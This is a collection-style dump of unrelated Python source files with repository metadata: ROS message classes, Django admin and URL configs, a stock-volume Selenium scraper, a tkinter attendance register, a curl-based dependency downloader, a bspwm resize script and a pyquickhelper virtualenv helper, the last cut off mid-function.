super(SetFeedbackFrequencyRequest, self).__init__(*args, **kwds)
# message fields cannot be None, assign default values for those that are
if self.frequency_hz is None:
self.frequency_hz = 0.
else:
self.frequency_hz = 0.
def _get_types(self):
"""
internal API method
"""
return self._slot_types
def serialize(self, buff):
"""
serialize message into buffer
:param buff: buffer, ``StringIO``
"""
try:
_x = self.frequency_hz
buff.write(_get_struct_d().pack(_x))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize(self, str):
"""
unpack serialized message in str into this message instance
:param str: byte array of serialized message, ``str``
"""
codecs.lookup_error("rosmsg").msg_type = self._type
try:
end = 0
start = end
end += 8
(self.frequency_hz,) = _get_struct_d().unpack(str[start:end])
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
def serialize_numpy(self, buff, numpy):
"""
serialize message with numpy array types into buffer
:param buff: buffer, ``StringIO``
:param numpy: numpy python module
"""
try:
_x = self.frequency_hz
buff.write(_get_struct_d().pack(_x))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize_numpy(self, str, numpy):
"""
unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module
"""
codecs.lookup_error("rosmsg").msg_type = self._type
try:
end = 0
start = end
end += 8
(self.frequency_hz,) = _get_struct_d().unpack(str[start:end])
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
_struct_I = genpy.struct_I
def _get_struct_I():
global _struct_I
return _struct_I
_struct_d = None
def _get_struct_d():
global _struct_d
if _struct_d is None:
_struct_d = struct.Struct("<d")
return _struct_d
# This Python file uses the following encoding: utf-8
"""autogenerated by genpy from hebi_cpp_api_examples/SetFeedbackFrequencyResponse.msg. Do not edit."""
import codecs
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
class SetFeedbackFrequencyResponse(genpy.Message):
_md5sum = "d41d8cd98f00b204e9800998ecf8427e"
_type = "hebi_cpp_api_examples/SetFeedbackFrequencyResponse"
_has_header = False # flag to mark the presence of a Header object
_full_text = """
"""
__slots__ = []
_slot_types = []
def __init__(self, *args, **kwds):
"""
Constructor. Any message fields that are implicitly/explicitly
set to None will be assigned a default value. The recommend
use is keyword arguments as this is more robust to future message
changes. You cannot mix in-order arguments and keyword arguments.
The available fields are:
:param args: complete set of field values, in .msg order
:param kwds: use keyword arguments corresponding to message field names
to set specific fields.
"""
if args or kwds:
super(SetFeedbackFrequencyResponse, self).__init__(*args, **kwds)
def _get_types(self):
"""
internal API method
"""
return self._slot_types
def serialize(self, buff):
"""
serialize message into buffer
:param buff: buffer, ``StringIO``
"""
try:
pass
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize(self, str):
"""
unpack serialized message in str into this message instance
:param str: byte array of serialized message, ``str``
"""
codecs.lookup_error("rosmsg").msg_type = self._type
try:
end = 0
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
def serialize_numpy(self, buff, numpy):
"""
serialize message with numpy array types into buffer
:param buff: buffer, ``StringIO``
:param numpy: numpy python module
"""
try:
pass
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize_numpy(self, str, numpy):
"""
unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module
"""
codecs.lookup_error("rosmsg").msg_type = self._type
try:
end = 0
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
_struct_I = genpy.struct_I
def _get_struct_I():
global _struct_I
return _struct_I
class SetFeedbackFrequency(object):
_type = 'hebi_cpp_api_examples/SetFeedbackFrequency'
_md5sum = 'b11146fd2143e78325a7496114ee3a9e'
_request_class = SetFeedbackFrequencyRequest
_response_class = SetFeedbackFrequencyResponse
|
[
"florian.dallago@aigritec.com"
] |
florian.dallago@aigritec.com
|
ee064386a7aaf9850e3d34639ef62a060c0dc432
|
79abd4788b43d87b1e150c858812451e75ac72fa
|
/catalog/admin.py
|
7b87a6e4d214222d152faf018c57ac693ee89af0
|
[] |
no_license
|
AlanaKaimi/w4-MDN-django-tutorial
|
02b35aec8f50f65d239d6ce747502a2a73f2df21
|
7730322f0b150834b3cfac9db1951c1bfb1ed9a0
|
refs/heads/master
| 2020-04-26T19:37:37.410779 | 2019-03-08T18:50:57 | 2019-03-08T18:50:57 | 173,781,197 | 0 | 0 | null | 2019-03-04T16:29:52 | 2019-03-04T16:29:52 | null |
UTF-8
|
Python
| false | false | 1,372 |
py
|
from django.contrib import admin
# Register your models here.
from catalog.models import Author, Genre, Book, BookInstance, Language
# admin.site.register(Book)
# admin.site.register(Author)
admin.site.register(Genre)
# admin.site.register(BookInstance)
admin.site.register(Language)
class BooksInline(admin.TabularInline):
model = Book
extra = 0
# Define the admin class
@admin.register(Author)
class AuthorAdmin(admin.ModelAdmin):
list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]
inlines = [BooksInline]
class BooksInstanceInline(admin.TabularInline):
model = BookInstance
extra = 0
# Register the Admin classes for Book using the decorator
@admin.register(Book)
class BookAdmin(admin.ModelAdmin):
list_display = ('title', 'author', 'display_genre')
inlines = [BooksInstanceInline]
# Register the Admin classes for BookInstance using the decorator
@admin.register(BookInstance)
class BookInstanceAdmin(admin.ModelAdmin):
list_filter = ('status', 'due_back')
list_display = ('book', 'status', 'borrower', 'due_back', id)
fieldsets = (
(None, {
'fields': ('book', 'imprint', 'id')
}),
('Availability', {
'fields': ('status', 'due_back', 'borrower')
}),
)
|
[
"ajbryce@live.com"
] |
ajbryce@live.com
|
3803d5d6dd25e08077d0af692babddeac57db15b
|
8e715842524ca70eaaf0e33dc6762163fc0049a7
|
/.ipynb_checkpoints/stock_scraper-checkpoint.py
|
c203593e93d5bdb9d71678b9cf5a7f7666c4e69e
|
[] |
no_license
|
philipk19238/trump-volatility-analysis
|
420f6ddeab4d2ef4d6326f59c11e11fe623f6952
|
e07d512145ffc3df19b7bce2b2a42a30c1da59b9
|
refs/heads/master
| 2022-07-03T05:55:18.449183 | 2020-05-12T05:13:04 | 2020-05-12T05:13:04 | 257,753,761 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 2,107 |
py
|
import selenium
from selenium import webdriver
import pandas as pd
import matplotlib.pyplot as plt
import time
#path of chromedriver object. If you are trying to test the code, ensure you point the path
#to the proper location
path = r'C:\Users\Philip\AppData\Local\Programs\Python\Python38-32/chromedriver.exe'
def scrollBottom():
#scrolls all the way down so scraper can access all data
page = driver.find_element_by_tag_name('body')
for i in range(200):
page.send_keys(Keys.PAGE_DOWN)
def getData():
symbolData = driver.find_elements_by_xpath('//td[@class="Py(10px) Pstart(10px)"]')
#returns every sixth variable to exclude useless data
volumecol = [symbolData[index].text for index in range(5,len(symbolData),6)]
dates = [date.text for date in driver.find_elements_by_xpath('//td[@class="Py(10px) Ta(start) Pend(10px)"]')]
return volumecol, dates
def manipulateData(date, volume):
df = pd.DataFrame(volume, index = date).iloc[::-1].rename(columns={0:'volume'})
#converting strings to float
df['volume'] = df['volume'].apply(lambda row: float(row.replace(',',"")))
#finding percentage change
df = df.pct_change()
#multiplying values by 100 to display in percentage notation
df['volume'] = df['volume'].apply(lambda row: row * 100)
return df
def graphData(data):
fig,ax = plt.subplots(figsize=(25,10))
ax.bar(df.index, df['volume'])
ax.set_title('Change in Daily Volume since 2017', fontsize=23)
ax.set_ylabel('Percent Change in Volume',fontsize = 15)
ax.set_xlabel('Date (Jan 2017 to April 2020)',fontsize=15)
def main():
driver = webdriver.Chrome(path)
driver.implicitly_wait(30)
driver.maximize_window()
driver.get('https://finance.yahoo.com/quote/%5EDJI/history?period1=1484870400&period2=1586649600&interval=1d&filter=history&frequency=1d')
time.sleep(2)
scrollBottom()
data = getData()
df = manipulateData(data[1], data[0])
graphData(df)
df.to_csv('volumechange.csv')
if __name__ == "__main__":
main()
|
[
"pkung67@utexas.edu"
] |
pkung67@utexas.edu
|
01a09bdf0985601e4e1064f94e9cbf0604b694f9
|
115bcc399fe9faaa3ba2580cf8aed9b5ab66c867
|
/coursework/Attendence_Register.py
|
35c217dcf5e1e1879a1cf2eb2b611f8c61c83c46
|
[] |
no_license
|
joelhogg/pi_webserver1
|
4e9a682f6797c966c0a7f1d6b446033a367d4d0c
|
e3270fcc889e9ab69e885530f27b527386d7aa33
|
refs/heads/master
| 2020-08-01T21:34:32.025459 | 2019-09-26T16:00:46 | 2019-09-26T16:00:46 | 211,124,182 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 3,241 |
py
|
from tkinter import *
import sqlite3
#note there is a seperate py program to input into db table
class Table(Frame): #height=no. of columns width=rows[database function must be first ran]
def __init__(self,master,height,bigarray):
#width += 1 #have to use up one row for Subtitles
width = (len(bigarray[0])+1)
super(Table,self).__init__(master)
self.grid()
self.create_widgets(height,width) #runs function to create textboxes for table
self.insert_table(bigarray)
def create_widgets(self,height,width):
self.widget_loc = {} #store each widget here
#create a widget for width, height
for i in range(height): #Rows
for j in range(width): #Columns
b = Entry(root, text="")#state='disabed' stops input
b.grid(column=i, row=j)#organises widget to grid
self.widget_loc[i,j] = b #stores widget in dictionary
#retreives top row of widgets from dict
subtitle_1 = self.widget_loc[(0,0)]
subtitle_2 = self.widget_loc[(1,0)]
subtitle_3 = self.widget_loc[(2,0)]
#changes text field of top row to match design spec
subtitle_1.insert(0,"Name")
subtitle_2.insert(0,"Status")
subtitle_3.insert(0,"Date/Time")
def insert_table(self,bigarray): #inserts each item from array to its place in tbl
for i in range(0,3):
for j in range(len(bigarray[0])):
k = self.widget_loc[i,(j+1)]#j+1 as first row filled
k.insert(0,(bigarray[i][j]))
def database():
conn = sqlite3.connect("AttendenceRegister.db")
conn.execute('''CREATE TABLE IF NOT EXISTS tblUserAttendence
(
UserID INTEGER PRIMARY KEY ,
Name TEXT NOT NULL,
Status TEXT NOT NULL,
DateTime INTEGER NOT NULL
);''')
conn.commit()
#retreive all items out of database table
c = conn.cursor
#conn.execute("SELECT Name FROM tblUserAttendence")
conn.row_factory = lambda cursor, row: row[0]
c = conn.cursor()
names = c.execute("SELECT Name From tblUserAttendence")
namelist = []
for row in names:
namelist.append(row)
statuses = c.execute("SELECT Status From tblUserAttendence")
statuslist = []
for row in statuses:
statuslist.append(row)
times = c.execute("SELECT DateTime From tblUserAttendence")
timelist = []
for row in times:
timelist.append(row)
UnIDs = c.execute("SELECT UserID From tblUserAttendence")
UnIDlist = []
for row in UnIDs:
UnIDlist.append(row)
bigarray = [namelist,statuslist,timelist,UnIDlist]
return bigarray
#main
root= Tk()
root.title("Attendence Regsiter")
dblist = database()
table = Table(root,3,dblist)
root.mainloop()
#todo:
#
#-make tkinter part as a class/function X
#do sqlite3 part to read database into an array or simlarX
#function to read data into tkniter table (can be function of tkinter section class)X
#automaticly use correct number of rows
|
[
"noreply@github.com"
] |
joelhogg.noreply@github.com
|
49476596bd8b7c288c123de77bef0c007daa18b2
|
76ea86d5a8f7eaedd0e8d5353e837ad0dcc467ac
|
/downloadDependancy.py
|
007ec80978a1c8845ecdb84f50857feb5257fcfd
|
[] |
no_license
|
kangsheng89/package_downloader
|
3afcaeca029bb815d47ca08a024cf6ade6ae4178
|
9c63f9691f66f561086482dc709bb8a7fd21d809
|
refs/heads/main
| 2023-06-03T13:16:52.449208 | 2021-06-15T08:46:33 | 2021-06-15T08:46:33 | 377,093,304 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 6,541 |
py
|
import os
import sys
import json
from datetime import datetime
import subprocess
from multiprocessing.pool import ThreadPool
json_file="dependencies.json"
dependancies_folder = "D://dependencies//"
def _main():
data, list_name, path_list, date_list, size_list = ReadJson(json_file)
initial, empty_folder, dict_obj = CheckFolder(dependancies_folder)
count, tool_index, path_to_download, datetime_list, size_list = CheckDateTime(date_list,path_list, dict_obj)
UpdateJson(json_file, data, count, tool_index, list_name, datetime_list, size_list)
if (initial is True) or (empty_folder is True):
#download all from json file
status = run_downloader(path_list,dependancies_folder)
if (status==0):
print("Download Completed")
else:
sys.exit(1)
else:
if len(path_to_download)==0:
print("Latest Dependancies")
sys.exit(0)
else:
print("update in progress")
#delete zip
#using set instead of list to prevent download from same path
DeleteOldZipped(set(path_to_download), dependancies_folder)
#update by re-downloading
status = run_downloader(set(path_to_download),dependancies_folder)
if (status==0):
print("Download Completed")
else:
sys.exit(1)
sys.exit(0)
def ReadJson(json_file):
list_name=[]
path_list=[]
date_list=[]
size_list=[]
jsonfile = open(json_file, "r")
data = json.load(jsonfile)
jsonfile.close()
for x in data:
list_name.append(x)
for k,v in data[x].items():
if "path" in k:
path_list.append(v)
if "lastModified" in k:
datetime_obj = datetime.strptime(v, "%a, %d %b %Y %H:%M:%S %Z")
date_list.append(datetime_obj)
if "filesize" in k:
size_list.append(v)
return data, list_name, path_list, date_list, size_list
def UpdateJson(json_file, data, count, tool_index, list_name, datetime_list, size_list):
for i in range(count):
datetime_obj = datetime_list[i]
data[list_name[tool_index[i]]]['lastModified'] = '{}'.format(*datetime_obj)
data[list_name[tool_index[i]]]['filesize'] = size_list[i]
with open(json_file, 'w', encoding='utf-8') as f:
json.dump(data, f, ensure_ascii=False, indent=4)
# function to query the path from curl, and return status code and datetime
def QueryDependancies(path):
var = subprocess.Popen(['curl','--retry','3','-D','-','-o','/dev/null','-s',path],shell=True, stdout=subprocess.PIPE)
out = var.stdout.readlines()
if "HTTP/1.1 200 OK" in str(out):
date = [x.decode("utf-8").replace("Last-Modified:", "").strip() for x in out if "Last-Modified:" in str(x)]
filesize = [x.decode("utf-8").replace("Content-Length:", "").strip() for x in out if "Content-Length:" in str(x)]
return 0, date, filesize
else:
print ("QueryDependancies Failed on {}".format(path))
sys.exit(1)
# function to check the datetime againt the server, if mismatched return list of path_to_download
def CheckDateTime(date_list,path_list, file_from_folder):
index=0
tool_index=[]
path_to_download=[]
datetime_list=[]
size_list=[]
count = 0
for path in path_list:
status, date, size = QueryDependancies(path)
date_obj = datetime.strptime(*date, "%a, %d %b %Y %H:%M:%S %Z")
if (status == 0) and (date is not None):
filesize = file_from_folder.get(os.path.basename(path))
size = ''.join(map(str, size))
if (date_obj > date_list[index]) or (str(filesize)!=size):
if (date_obj > date_list[index]):
print ("Last-Modified time mismatched, new version of {} available".format(path))
else:
print ("file size mismatched, download from {}".format(path))
path_to_download.append(path)
datetime_list.append(date)
size_list.append(size)
tool_index.append(index)
count = count + 1
else:
pass
else:
print ("Unable to query, Network problem")
sys.exit(1)
index = index + 1
return count, tool_index, path_to_download, datetime_list, size_list
# function to check folder existance
def CheckFolder(path):
sizelist = dict()
status = os.path.isdir(path)
if status is False:
os.mkdir(path)
initial = True
empty_folder = True
elif len(os.listdir(path)) == 0:
initial = False
empty_folder = True
else:
initial = False
empty_folder = False
size_list = [os.stat(os.path.abspath(path+zipfile)).st_size for zipfile in os.listdir(path)]
sizelist = dict(zip(os.listdir(path),size_list))
return initial, empty_folder, sizelist
def DeleteOldZipped(path_to_download, path):
filename_list = [os.path.basename(path) for path in path_to_download]
for file in filename_list:
if os.path.exists(os.path.abspath(path+file)):
os.remove(os.path.abspath(path+file))
# function to parallel downloand the package from given path
def DownloadDependancies(path):
error_code = 0
p = subprocess.Popen(['curl','-A',"\"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64)\"",'--retry','3','--continue-at','-','-O','-L','-s',path],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
print("downloading...")
p.wait()
out = p.stdout.readlines()
err = p.stderr.readlines()
if (len(out)==0) and (len(err)==0):
error_code = 0
else:
error_code = 1
return error_code
def run_downloader(path, download_folder, max_worker=4):
os.chdir(download_folder)
print(f'MESSAGE: Running using Max={max_worker} processes')
pool = ThreadPool(max_worker)
results = pool.imap_unordered(DownloadDependancies, path)
if (sum(results) == 0):
return 0
else:
for r in results:
print(r)
return sum(results)
#main function
if __name__ == '__main__':
_main()
|
[
"noreply@github.com"
] |
kangsheng89.noreply@github.com
|
0e83a10947f41ecdc8506924ac075dff32b6b7b0
|
5b6ec656a247d10011fd67a920aa002ebdf873c3
|
/GithubOctarofile/GithubOctarofile/urls.py
|
d618d9a5c3257a4b79841c4d90f628af694f8d70
|
[] |
no_license
|
KhaledAbuNada-AI/Django-Projects
|
cfb46d46da5f5358171294ca8c02c62c5babf2cf
|
ff264426d7a650f3c513678bbd71b5519372f6d3
|
refs/heads/master
| 2022-04-24T10:52:26.791436 | 2020-04-22T15:27:37 | 2020-04-22T15:27:37 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 976 |
py
|
"""GithubOctarofile URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('admin/', admin.site.urls),
path('Octaprofile/', include('OctaProfile.urls'))
]
urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
|
[
"siddhant.shah.1986@gmail.com"
] |
siddhant.shah.1986@gmail.com
|
334850726cb5730adbe35a2bcc7781f8210c4d90
|
b420d3acadeda01b6fbb9be96963dfae396ab659
|
/.config/bspwm/scripts/resize.py
|
3119e2608311862333a8c22ec9038979b7fa3a10
|
[] |
no_license
|
yousufinternet/config-files
|
d6bc2db60d50787f0db102ba17d2d9fa85405e86
|
85bf3038b081c840138b2b634fcc53b97f3493dd
|
refs/heads/master
| 2023-03-12T13:09:01.459906 | 2023-03-04T20:19:52 | 2023-03-04T20:19:52 | 161,055,204 | 20 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 783 |
py
|
#!/usr/bin/env python
# Python version of the following code
# https://github.com/phenax/dotfiles/blob/master/.config/bspwm/scripts/resize.sh
import sys
from wmutils.utils import is_floating
from wmutils.processes import cmd_run, cmd_output
dir_ = sys.argv[1]
delta = 40 if len(sys.argv) < 3 else sys.argv[2]
x = f'+{delta}' if dir_ == 'right' else f'-{delta}' if dir_ == 'left' else '0'
y = f'+{delta}' if dir_ == 'down' else f'-{delta}' if dir_ == 'up' else '0'
pair_dict = {'right': 'left', 'left': 'right', 'top': 'bottom', 'bottom': 'top'}
DIR_ = 'right' if dir_ in ('left', 'right') else 'top'
FALLDIR = pair_dict[DIR_]
cmd_run(f'bspc node --resize {DIR_} {x} {y}')
if not is_floating(cmd_output('bspc query -N -n')):
cmd_run(f'bspc node --resize {FALLDIR} {x} {y}')
|
[
"yousufinternet@gmail.com"
] |
yousufinternet@gmail.com
|
b4d34fe8abe990c21dd3d582565360d613e2f4ca
|
814a896307bc2b99ec20d0800cb106280fb1b303
|
/venv/lib/python3.6/site-packages/pyquickhelper/pycode/venv_helper.py
|
55ccc1978d821f067c1568795e6c9d9e12bfed3f
|
[] |
no_license
|
mahagala/HecHms
|
ae0d4bedfcba33bc7e70eeefadcbd5361a00bd73
|
47521f9cd8dc0f2a51bb6e2660f67a81b3634b16
|
refs/heads/master
| 2021-09-20T04:16:23.691577 | 2018-08-03T12:46:38 | 2018-08-03T12:46:38 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 17,624 |
py
|
"""
@file
@brief Helpers for virtualenv
.. versionadded:: 1.2
"""
import os
import sys
from ..loghelper import noLOG, run_cmd
class VirtualEnvError(Exception):
"""
Exception raised by the function implemented in this file.
"""
pass
def is_virtual_environment():
"""
Tells if the script is run from a virtual environment.
@return boolean
.. versionadded:: 1.3
"""
return (getattr(sys, "base_exec_prefix", sys.exec_prefix) != sys.exec_prefix) or hasattr(sys, 'real_prefix')
class NotImplementedErrorFromVirtualEnvironment(NotImplementedError):
"""
Defines an exception when a function does not work
in a virtual environment.
.. versionadded:: 1.3
"""
pass
def numeric_module_version(vers):
"""
Converts a string into a tuple with numbers whever possible.
@param vers string
@return tuple
"""
if isinstance(vers, tuple):
return vers
spl = vers.split(".")
r = []
for _ in spl:
try:
i = int(_)
r.append(i)
except ValueError:
r.append(_)
return tuple(r)
def compare_module_version(num, vers):
"""
Compares two versions.
@param num first version
@param vers second version
@return -1, 0, 1
.. versionchanged:: 1.3
Fix a bug (do not use ModuleInstall)
"""
if num is None:
if vers is None:
return 0
else:
return 1
if vers is None:
return -1
if not isinstance(vers, tuple):
vers = numeric_module_version(vers)
if not isinstance(num, tuple):
num = numeric_module_version(num)
if len(num) == len(vers):
for a, b in zip(num, vers):
if isinstance(a, int) and isinstance(b, int):
if a < b:
return -1
elif a > b:
return 1
else:
a = str(a)
b = str(b)
if a < b:
return -1
elif a > b:
return 1
return 0
else:
if len(num) < len(vers):
num = num + (0,) * (len(vers) - len(num))
return compare_module_version(num, vers)
else:
vers = vers + (0,) * (len(num) - len(vers))
return compare_module_version(num, vers)
def build_venv_cmd(params, posparams):
"""
Builds the command line for virtual env.
@param params dictionary of parameters
@param posparams positional arguments
@return string
"""
import venv
v = venv.__file__
if v is None:
raise ImportError("module venv should have a version number")
exe = sys.executable.replace("w.exe", "").replace(".exe", "")
cmd = [exe, "-m", "venv"]
for k, v in params.items():
if v is None:
cmd.append("--" + k)
else:
cmd.append("--" + k + "=" + v)
cmd.extend(posparams)
return " ".join(cmd)
def create_virtual_env(where, symlinks=False, system_site_packages=False,
clear=True, packages=None, fLOG=noLOG,
temp_folder=None):
"""
Creates a virtual environment.
@param where location of this virtual environment
@param symlinks attempt to symlink rather than copy
@param system_site_packages Give the virtual environment access to the system site-packages dir
@param clear Delete the environment directory if it already exists.
If not specified and the directory exists, an error is raised.
@param packages list of packages to install (it will install module
:epkg:`pymyinstall`).
@param fLOG logging function
@param temp_folder temporary folder (to download module if needed), by default ``<where>/download``
@return stand output
.. index:: virtual environment
.. faqref::
:title: How to create a virtual environment?
The following example creates a virtual environment.
Packages can be added by specifying the parameter *package*.
::
from pyquickhelper.pycode import create_virtual_env
fold = "my_env"
if not os.path.exists(fold):
os.mkdir(fold)
create_virtual_env(fold)
The function does not work from a virtual environment.
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
fLOG("create virtual environment at:", where)
params = {}
if symlinks:
params["symlinks"] = None
if system_site_packages:
params["system-site-packages"] = None
if clear:
params["clear"] = None
cmd = build_venv_cmd(params, [where])
out, err = run_cmd(cmd, wait=True, fLOG=fLOG)
if len(err) > 0:
raise VirtualEnvError(
"unable to create virtual environement at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, where, cmd))
if sys.platform.startswith("win"):
scripts = os.path.join(where, "Scripts")
else:
scripts = os.path.join(where, "bin")
if not os.path.exists(scripts):
files = "\n ".join(os.listdir(where))
raise FileNotFoundError(
"unable to find {0}, content:\n {1}".format(scripts, files))
in_scripts = os.listdir(scripts)
pips = [_ for _ in in_scripts if _.startswith("pip")]
if len(pips) == 0:
out += venv_install(where, "pip", fLOG=fLOG,
temp_folder=temp_folder)
in_scripts = os.listdir(scripts)
pips = [_ for _ in in_scripts if _.startswith("pip")]
if len(pips) == 0:
raise FileNotFoundError(
"unable to find pip in {0}, content:\n {1}".format(scripts, in_scripts))
out += venv_install(where, "pymyinstall", fLOG=fLOG,
temp_folder=temp_folder)
if packages is not None and len(packages) > 0:
fLOG("install packages in:", where)
packages = [_ for _ in packages if _ != "pymyinstall" and _ != "pip"]
if len(packages) > 0:
out += venv_install(where, packages, fLOG=fLOG,
temp_folder=temp_folder)
return out
def venv_install(venv, packages, fLOG=noLOG, temp_folder=None):
"""
Installs a package or a list of packages in a virtual environment.
@param venv location of the virtual environment
@param packages a package (str) or a list of packages(list[str])
@param fLOG logging function
@param temp_folder temporary folder (to download module if needed), by default ``<where>/download``
@return standard output
The function does not work from a virtual environment.
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
if temp_folder is None:
temp_folder = os.path.join(venv, "download")
if isinstance(packages, str):
packages = [packages]
if packages == "pip" or packages == ["pip"]:
from .get_pip import __file__ as pip_loc
ppath = os.path.abspath(pip_loc.replace(".pyc", ".py"))
script = ["-u", ppath]
return run_venv_script(venv, script, fLOG=fLOG, is_cmd=True)
elif packages == "pymyinstall" or packages == ["pymyinstall"]:
if sys.platform.startswith("win"):
pip = os.path.join(venv, "Scripts", "pip")
else:
pip = os.path.join(venv, "bin", "pip")
local_setup = os.path.abspath(os.path.join(os.path.dirname(
__file__), "..", "..", "..", "..", "pymyinstall", "setup.py"))
if os.path.exists(local_setup):
cwd = os.getcwd()
os.chdir(os.path.dirname(local_setup))
script = ["-u", local_setup, "install"]
out = run_venv_script(venv, script, fLOG=fLOG, is_cmd=True,
skip_err_if="Finished processing dependencies for pymyinstall==")
os.chdir(cwd)
return out
else:
cmd = pip + " install pymyinstall"
out, err = run_cmd(cmd, wait=True, fLOG=fLOG)
if len(err) > 0:
raise VirtualEnvError(
"unable to install pymyinstall at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, venv, cmd))
return out
else:
p = os.path.normpath(os.path.join(
os.path.abspath(os.path.dirname(__file__)), "..", ".."))
ls = ','.join("'{0}'".format(_) for _ in packages)
script = ["import sys",
"sys.path.append('{0}')".format(p.replace("\\", "\\\\")),
"import pymyinstall",
"ps=[{0}]".format(ls),
"t='{0}'".format(temp_folder.replace("\\", "\\\\")),
"pymyinstall.packaged.install_all(temp_folder=t,list_module=ps,up_pip=False)"]
return run_venv_script(venv, "\n".join(script), fLOG=fLOG)
def run_venv_script(venv, script, fLOG=noLOG, file=False, is_cmd=False,
skip_err_if=None, **kwargs):
"""
Runs a script on a vritual environment (the script should be simple).
@param venv virtual environment
@param script script as a string (not a file)
@param fLOG logging function
@param file is script a file or a string to execute
@param is_cmd if True, script is a command line to run (as a list) for python executable
@param skip_err_if do not pay attention to standard error if this string was found in standard output
@param kwargs others arguments for function @see fn run_cmd.
@return output
The function does not work from a virtual environment.
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
if sys.platform.startswith("win"):
exe = os.path.join(venv, "Scripts", "python")
else:
exe = os.path.join(venv, "bin", "python")
if is_cmd:
cmd = " ".join([exe] + script)
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0 and (skip_err_if is None or skip_err_if not in out):
raise VirtualEnvError(
"unable to run cmd at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, venv, cmd))
return out
else:
script = ";".join(script.split("\n"))
if file:
if not os.path.exists(script):
raise FileNotFoundError(script)
cmd = " ".join([exe, "-u", '"{0}"'.format(script)])
else:
cmd = " ".join([exe, "-u", "-c", '"{0}"'.format(script)])
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0:
raise VirtualEnvError(
"unable to run script at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, venv, cmd))
return out
def run_base_script(script, fLOG=noLOG, file=False, is_cmd=False,
skip_err_if=None, argv=None, **kwargs):
"""
Runs a script with the original intepreter even if this function
is run from a virtual environment.
@param script script as a string (not a file)
@param fLOG logging function
@param file is script a file or a string to execute
@param is_cmd if True, script is a command line to run (as a list) for python executable
@param skip_err_if do not pay attention to standard error if this string was found in standard output
@param argv list of arguments to add on the command line
@param kwargs others arguments for function @see fn run_cmd.
@return output
The function does not work from a virtual environment.
The function does not raise an exception if the standard error
contains something like::
----------------------------------------------------------------------
Ran 1 test in 0.281s
OK
"""
def true_err(err):
if "Ran 1 test" in err and "OK" in err:
return False
else:
return True
if hasattr(sys, 'real_prefix'):
exe = sys.real_prefix
elif hasattr(sys, "base_exec_prefix"):
exe = sys.base_exec_prefix
else:
exe = sys.exec_prefix
if sys.platform.startswith("win"):
exe = os.path.join(exe, "python")
else:
exe = os.path.join(exe, "bin", "python")
if is_cmd:
cmd = " ".join([exe] + script)
if argv is not None:
cmd += " " + " ".join(argv)
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0 and (skip_err_if is None or skip_err_if not in out) and true_err(err):
p = sys.base_prefix if hasattr(sys, "base_prefix") else sys.prefix
raise VirtualEnvError(
"unable to run cmd at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, p, cmd))
return out
else:
script = ";".join(script.split("\n"))
if file:
if not os.path.exists(script):
raise FileNotFoundError(script)
cmd = " ".join([exe, "-u", '"{0}"'.format(script)])
else:
cmd = " ".join([exe, "-u", "-c", '"{0}"'.format(script)])
if argv is not None:
cmd += " " + " ".join(argv)
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0 and true_err(err):
p = sys.base_prefix if hasattr(sys, "base_prefix") else sys.prefix
